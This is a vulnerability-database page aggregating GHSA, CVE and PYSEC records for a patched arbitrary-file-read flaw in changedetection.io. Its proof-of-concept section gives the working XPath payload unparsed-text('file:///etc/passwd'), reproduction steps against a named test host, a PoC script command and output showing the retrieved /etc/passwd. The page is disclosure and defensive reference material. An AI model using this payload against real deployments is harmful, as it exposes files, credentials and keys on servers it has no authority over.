Vulnerability-Lookup

GHSA-6FMW-82M7-JQ6P

Vulnerability from github – Published: 2026-03-04 20:59 – Updated: 2026-03-06 21:57

Summary

changedetection.io vulnerable to XPath - Arbitrary File Read via unparsed-text()

Details

Summary

The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.
XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.

Data Flow

User Input (include_filters field)
    ↓
forms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety
    ↓
Watch configuration stored in datastore
    ↓
Scheduled fetch triggers html_tools.py processing
    ↓
html_tools.py:xpath_filter() at line 213
    ↓
elementpath.select(root, xpath_expression, parser=XPath3Parser)
    ↓
XPath 3.0 unparsed-text('file:///etc/passwd') executed
    ↓
File contents returned as "filtered content"
    ↓
Stored as snapshot, viewable in UI

Affected Code File: changedetectionio/html_tools.py Function: xpath_filter() Lines: 187-220

def xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):
    # ...
    from elementpath import XPath3Parser  # XPath 3.0 with dangerous functions
    # ...
    r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser)  # Line 213

Validation (forms.py):

class ValidateCSSJSONXPATHInput:
    def __call__(self, form, field):
        # Only checks if XPath is syntactically valid
        # Does NOT check for dangerous functions like unparsed-text()

Details

Navigate to the http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000/ instance
Create a new watch with any valid URL (e.g., https://example.com)
Edit the watch and set the "CSS/JSONPath/JQ/XPath Filters" field to:

xpath:unparsed-text('file:///etc/passwd')

Save and trigger a recheck
View the preview/snapshot - the file contents will be displayed

PoC

python script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py

python3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd

╔═══════════════════════════════════════════════════════════════╗
║  XPath 3.0 Arbitrary File Read Exploit                        ║
║  Target: changedetection.io                                   ║
║  Vulnerability: unparsed-text() in XPath filters              ║
╚═══════════════════════════════════════════════════════════════╝

[*] Creating new watch for https://example.com...
[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1
[*] Setting XPath filter to read: /etc/passwd
[+] XPath filter set successfully
[*] Triggering recheck...
[*] Waiting for check to complete...
[*] Retrieving file contents...

[+] SUCCESS! File contents retrieved:
============================================================
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

============================================================
[*] Cleaning up (deleting watch)...

Impact

Read any file accessible to the application process
Exfiltrate sensitive configuration files, credentials, API keys
Read application source code
Access database files if file-based (SQLite)

Severity

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.54.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "changedetection.io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.54.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T20:59:35Z",
    "nvd_published_at": "2026-03-06T07:16:01Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n- The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.\n\n- XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.\n\n\n### Data Flow\n\n```\nUser Input (include_filters field)\n    \u2193\nforms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety\n    \u2193\nWatch configuration stored in datastore\n    \u2193\nScheduled fetch triggers html_tools.py processing\n    \u2193\nhtml_tools.py:xpath_filter() at line 213\n    \u2193\nelementpath.select(root, xpath_expression, parser=XPath3Parser)\n    \u2193\nXPath 3.0 unparsed-text(\u0027file:///etc/passwd\u0027) executed\n    \u2193\nFile contents returned as \"filtered content\"\n    \u2193\nStored as snapshot, viewable in UI\n\n```\n\n**Affected Code**\n**File:** changedetectionio/html_tools.py\n**Function:** xpath_filter()\n**Lines:** 187-220\n\n```\ndef xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):\n    # ...\n    from elementpath import XPath3Parser  # XPath 3.0 with dangerous functions\n    # ...\n    r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser)  # Line 213\n\n```\n\nValidation (forms.py):\n\n```\nclass ValidateCSSJSONXPATHInput:\n    def __call__(self, form, field):\n        # Only checks if XPath is syntactically valid\n        # Does NOT check for dangerous functions like unparsed-text()\n\n```\n\n### Details\n\n- Navigate to the http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000/ instance\n- Create a new watch with any valid URL (e.g., https://example.com)\n- Edit the watch and set the \"CSS/JSONPath/JQ/XPath Filters\" field to:\n\n```\nxpath:unparsed-text(\u0027file:///etc/passwd\u0027)\n```\n\n- Save and trigger a recheck\n- View the preview/snapshot - the file contents will be displayed\n\n\u003cimg width=\"2800\" height=\"1108\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f39df9c3-52c9-4fa8-ab57-75c7d4955017\" /\u003e\n\n### PoC\n\npython script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py\n\n```\npython3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd\n\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551  XPath 3.0 Arbitrary File Read Exploit                        \u2551\n\u2551  Target: changedetection.io                                   \u2551\n\u2551  Vulnerability: unparsed-text() in XPath filters              \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n    \n[*] Creating new watch for https://example.com...\n[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1\n[*] Setting XPath filter to read: /etc/passwd\n[+] XPath filter set successfully\n[*] Triggering recheck...\n[*] Waiting for check to complete...\n[*] Retrieving file contents...\n\n[+] SUCCESS! File contents retrieved:\n============================================================\nroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n\n============================================================\n[*] Cleaning up (deleting watch)...\n\n```\n\n\n### Impact\n- Read any file accessible to the application process\n- Exfiltrate sensitive configuration files, credentials, API keys\n- Read application source code\n- Access database files if file-based (SQLite)",
  "id": "GHSA-6fmw-82m7-jq6p",
  "modified": "2026-03-06T21:57:13Z",
  "published": "2026-03-04T20:59:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-6fmw-82m7-jq6p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29039"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/commit/417d57e5749441e4be9acc4010369bded805d66f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgtlmoon/changedetection.io"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "changedetection.io vulnerable to XPath - Arbitrary File Read via unparsed-text()"
}

CVE-2026-29039 (GCVE-0-2026-29039)

Vulnerability from cvelistv5 – Published: 2026-03-06 06:54 – Updated: 2026-03-09 19:58

Title

changedetection.io: XPath - Arbitrary File Read via unparsed-text()

Summary

changedetection.io is a free open source web page change detection tool. Prior to version 0.54.4, the changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification. XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process. This issue has been patched in version 0.54.4.

Severity

8.8 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-09 19:58 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7843 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/dgtlmoon/changedetection.io/se…	x_refsource_CONFIRM
https://github.com/dgtlmoon/changedetection.io/co…	x_refsource_MISC
https://github.com/dgtlmoon/changedetection.io/re…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
dgtlmoon	changedetection.io	Affected: < 0.54.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-29039",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-09T19:58:13.299708Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-09T19:58:22.717Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "changedetection.io",
          "vendor": "dgtlmoon",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.54.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "changedetection.io is a free open source web page change detection tool. Prior to version 0.54.4, the changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification. XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process. This issue has been patched in version 0.54.4."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-06T06:54:15.822Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-6fmw-82m7-jq6p",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-6fmw-82m7-jq6p"
        },
        {
          "name": "https://github.com/dgtlmoon/changedetection.io/commit/417d57e5749441e4be9acc4010369bded805d66f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/dgtlmoon/changedetection.io/commit/417d57e5749441e4be9acc4010369bded805d66f"
        },
        {
          "name": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"
        }
      ],
      "source": {
        "advisory": "GHSA-6fmw-82m7-jq6p",
        "discovery": "UNKNOWN"
      },
      "title": "changedetection.io: XPath - Arbitrary File Read via unparsed-text()"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-29039",
    "datePublished": "2026-03-06T06:54:15.822Z",
    "dateReserved": "2026-03-03T17:50:11.242Z",
    "dateUpdated": "2026-03-09T19:58:22.717Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

PYSEC-2026-2128

Vulnerability from pysec - Published: 2026-03-06 07:16 - Updated: 2026-07-13 05:48

Details

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Impacted products

Name	purl
changedetection-io	pkg:pypi/changedetection-io

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "changedetection-io",
        "purl": "pkg:pypi/changedetection-io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.54.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.38.2",
        "0.39",
        "0.39.1",
        "0.39.10",
        "0.39.10.post1",
        "0.39.10.post2",
        "0.39.11",
        "0.39.12",
        "0.39.13",
        "0.39.13.1",
        "0.39.14",
        "0.39.14.1",
        "0.39.15",
        "0.39.16",
        "0.39.17",
        "0.39.17.1",
        "0.39.17.2",
        "0.39.18",
        "0.39.19",
        "0.39.19.1",
        "0.39.2",
        "0.39.20",
        "0.39.20.1",
        "0.39.20.2",
        "0.39.20.3",
        "0.39.20.4",
        "0.39.21",
        "0.39.21.1",
        "0.39.22",
        "0.39.22.1",
        "0.39.3",
        "0.39.4",
        "0.39.5",
        "0.39.6",
        "0.39.7",
        "0.39.8",
        "0.39.9",
        "0.40.0",
        "0.40.0.1",
        "0.40.0.2",
        "0.40.0.3",
        "0.40.0.4",
        "0.40.1.0",
        "0.40.1.1",
        "0.40.2",
        "0.40.3",
        "0.41",
        "0.41.1",
        "0.42",
        "0.42.1",
        "0.42.2",
        "0.42.3",
        "0.43.1",
        "0.43.2",
        "0.44",
        "0.44.1",
        "0.45",
        "0.45.1",
        "0.45.11",
        "0.45.12",
        "0.45.13",
        "0.45.14",
        "0.45.15",
        "0.45.16",
        "0.45.17",
        "0.45.18",
        "0.45.19",
        "0.45.2",
        "0.45.20",
        "0.45.21",
        "0.45.22",
        "0.45.23",
        "0.45.24",
        "0.45.25",
        "0.45.26",
        "0.45.3",
        "0.45.4",
        "0.45.5",
        "0.45.6",
        "0.45.7",
        "0.45.7.1",
        "0.45.7.2",
        "0.45.7.3",
        "0.45.8",
        "0.45.8.1",
        "0.45.9",
        "0.46.0",
        "0.46.1",
        "0.46.2",
        "0.46.3",
        "0.46.4",
        "0.47.0",
        "0.47.1",
        "0.47.2",
        "0.47.3",
        "0.47.4",
        "0.47.5",
        "0.47.6",
        "0.48.0",
        "0.48.1",
        "0.48.2",
        "0.48.3",
        "0.48.4",
        "0.48.5",
        "0.48.6",
        "0.49.0",
        "0.49.1",
        "0.49.10",
        "0.49.12",
        "0.49.13",
        "0.49.14",
        "0.49.15",
        "0.49.16",
        "0.49.17",
        "0.49.18",
        "0.49.2",
        "0.49.3",
        "0.49.4",
        "0.49.5",
        "0.49.6",
        "0.49.7",
        "0.49.8",
        "0.49.9",
        "0.50.1",
        "0.50.10",
        "0.50.11",
        "0.50.12",
        "0.50.13",
        "0.50.14",
        "0.50.15",
        "0.50.16",
        "0.50.17",
        "0.50.18",
        "0.50.19",
        "0.50.2",
        "0.50.20",
        "0.50.21",
        "0.50.22",
        "0.50.23",
        "0.50.24",
        "0.50.25",
        "0.50.26",
        "0.50.27",
        "0.50.28",
        "0.50.29",
        "0.50.3",
        "0.50.30",
        "0.50.31",
        "0.50.32",
        "0.50.33",
        "0.50.34",
        "0.50.35",
        "0.50.37",
        "0.50.38",
        "0.50.39",
        "0.50.4",
        "0.50.40",
        "0.50.41",
        "0.50.42",
        "0.50.43",
        "0.50.5",
        "0.50.6",
        "0.50.7",
        "0.50.8",
        "0.50.9",
        "0.51.0",
        "0.51.1",
        "0.51.2",
        "0.51.3",
        "0.51.4",
        "0.52.1",
        "0.52.2",
        "0.52.3",
        "0.52.4",
        "0.52.5",
        "0.52.6",
        "0.52.7",
        "0.52.8",
        "0.52.9",
        "0.53.1",
        "0.53.2",
        "0.53.3",
        "0.53.4",
        "0.53.5",
        "0.53.6",
        "0.53.7",
        "0.54.1",
        "0.54.2",
        "0.54.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29039",
    "GHSA-6fmw-82m7-jq6p"
  ],
  "details": "changedetection.io is a free open source web page change detection tool. Prior to version 0.54.4, the changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification. XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process. This issue has been patched in version 0.54.4.",
  "id": "PYSEC-2026-2128",
  "modified": "2026-07-13T05:48:12.307763Z",
  "published": "2026-03-06T07:16:01.573Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"
    },
    {
      "type": "FIX",
      "url": "https://github.com/dgtlmoon/changedetection.io/commit/417d57e5749441e4be9acc4010369bded805d66f"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-6fmw-82m7-jq6p"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-6FMW-82M7-JQ6P

Summary

Data Flow

Details

PoC

Impact

CVE-2026-29039 (GCVE-0-2026-29039)

PYSEC-2026-2128

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour